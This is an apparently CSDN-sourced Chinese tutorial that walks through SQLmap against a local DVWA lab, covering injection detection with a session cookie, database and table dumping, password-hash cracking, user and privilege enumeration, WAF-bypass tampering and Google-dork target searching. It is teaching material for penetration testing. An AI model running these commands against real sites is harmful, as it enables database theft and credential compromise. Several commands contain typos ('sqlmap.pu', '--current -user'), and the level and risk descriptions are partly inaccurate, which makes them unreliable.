前言

SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台。

SQLmap的下载及安装本文不再详述,下载链接:https://github.com/sqlmapproject/sqlmap

本文以DVWA作为靶场,留言板项目渗透实例可参考:留言板项目SQLmap渗透实例 | CSDN@秋说

本文分为目标、脱库、账号与其它四个部分进行讲解

文章目录

前言目标1、单个URL、Cookie2、文件URL、POST

脱库1、获取当前数据库版本2、获取当前数据库名称3、列出所有数据库4、列出指定数据库的所有表5、获取表中所有数据6、搜索库、表、字段7、绕过WAF

账号1、获取所有数据2、显示当前用户3、检测是否为数据库管理员4、获取所有用户5、查看当前用户权限6、获取用户的密码(hash值)7、获取服务器主机名称8、显示正在运行的SQL语句9、以盲注方式获取web应用程序的管理员密码:

其它

目标

1、单个URL、Cookie

1)检测指定URL是否存在SQL注入漏洞:

python sqlmap.py -u 目标URL

2)设置Cookie参数,绕过Web应用程序的安全检查,检测是否含有SQL注入漏洞:

python sqlmap.py -u 目标URL --cookie="cookie参数"

实例如下:

提取URL进行注入:

通过上图回显可以看到302定向到login.php,故需附上cookie

由于控制台并不能回显PHP session,故通过bp抓包得到cookie:

security=low; PHPSESSID=blp5j1964tfgiov6iusv24m9uj

故POC如下:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj"

结果如下:

说明存在SQL注入漏洞。

2、文件URL、POST

1)检测指定文件中的全部URL是否存在SQL注入漏洞

python sqlmap.py -m 文件名

实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说

2)通过POST请求包进行SQL注入(Burp抓包),检测是否含有SQL注入漏洞

python sqlmap.py -r POST请求包

python sqlmap.py -u "http://example.com/login.php" --data "username=1&password=1"(注入点)

实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说

3)指定进行检测的数据库类型

python sqlmap.py -u 目标URL -dbms 数据库类型

-D 指定数据库

-T 指定表

-C 指定字段

脱库

在确定能够使用SQLmap进行注入后,可以进行脱库操作。

1、获取当前数据库版本

python sqlmap.py -u 目标URL -b

实例如下:

POC含有Cookie参数

回显如下:

Web应用程序技术:PHP版本为7.3.4,Nginx版本为1.15.11。后端数据库管理系统(DBMS):MySQL版本要求大于等于5.6,实际检测到的版本为5.7.26。

2、获取当前数据库名称

python sqlmap.py -u 目标URL --current-db

实例如下:

POC含有Cookie参数

回显可知当前数据库名称为dvwa:

3、列出所有数据库

python sqlmap.py -u 目标URL --dbs

实例如下:

图中的POC含有Cookie参数

回显如下,存在两个数据库,一个为dvwa,一个为information_schema

4、列出指定数据库的所有表

python sqlmap.py -u 目标URL -D 数据库名称 --tables

实例如下:

这里列出dvwa数据库所有的表,POC含有Cookie参数

回显如下,两个表,一个为guestbook,一个为users:

5、获取表中所有数据

python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump

实例如下:

这里列出users所有的数据,POC含有Cookie参数

由于密码经过hash加密,SQLmap会通过不同的加密算法遍历每个字符串,将得到的hash值与数据库中的hash进行匹配:

如图是使用md5加密后进行匹配得到密码的部分结果:

结果如图:

6、搜索库、表、字段

python sqlmap.py -u 目标URL --search

7、绕过WAF

python sqlmap.pu -u 目标URL --tamper

账号

1、获取所有数据

python sqlmap.pu -u 目标URL -a

实例如下:

POC包含cookie参数

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj" -a

结果如图:

2、显示当前用户

python sqlmap.pu -u 目标URL --current -user

实例如下:

回显如下,当前用户为admin:

3、检测是否为数据库管理员

python sqlmap.pu -u 目标URL --is-dba

实例如下:

回显如下:

当前用户不是管理员

4、获取所有用户

python sqlmap.pu -u 目标URL --users

5、查看当前用户权限

python sqlmap.pu -u 目标URL --privileges

实例如下:

回显如下:

当前权限为USAGE

6、获取用户的密码(hash值)

python sqlmap.pu -u 目标URL --passwords

7、获取服务器主机名称

python sqlmap.pu -u 目标URL --hostname

回显如下:

8、显示正在运行的SQL语句

python sqlmap.pu -u 目标URL --statements

9、以盲注方式获取web应用程序的管理员密码:

python sqlmap.py -u 目标URL --technique=T --time-sec 10 --level=3 --risk=3 --current-user --current-db --passwords

其它

1)不再询问确认:

python sqlmap.pu -u 目标URL --batch

2)指定请求方式:

python sqlmap.pu -u 目标URL --method=GET

3)随机UA:

python sqlmap.pu -u 目标URL --random-agent

4)自定义UA:

python sqlmap.pu -u 目标URL --user-agent''

5)自定义referer:

python sqlmap.pu -u 目标URL --referer''

6)指定代理:

python sqlmap.pu -u 目标URL --proxy="127.0.0.1:8080"

7)指定线程数(由1至10):

python sqlmap.pu -u 目标URL --threads 10

8)使用搜索功能来查找漏洞:

python sqlmap.py -u 目标URL --google-dork "inurl:php?id="

9)指定测试等级(由1至5):

python sqlmap.pu -u 目标URL --level=1

10)指定风险等级(由0至3):

python sqlmap.pu -u 目标URL --risk=1

level参数:指定扫描深度的级别,范围为1-5,级别越高,扫描的深度就越深。具体含义如下:

1级别:只做最基本的测试,速度最快。

2级别:会测试大部分的注入点,但不会尝试绕过WAF或IDS等安全设备。

3级别:会测试所有可疑的注入点,并尝试绕过WAF或IDS等安全设备。

4级别:比较耗时,会进行一些额外的测试和检测。

5级别:最深度的测试,将尽可能地测试所有的注入点和漏洞。

risk参数:指定扫描的风险级别,范围为0-3,级别越高,扫描的敏感性越高。具体含义如下:

0级别:只针对一些非常明显的、极易被发现的漏洞进行测试。

1级别:测试所有普通的注入点。

2级别:测试所有可疑的注入点,并使用一些高级的技术尝试绕过安全机制。

3级别:最高风险级别,尝试针对所有可能的注入点进行测试,并使用一切可用的技术和手段进行攻击。

精彩文章

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: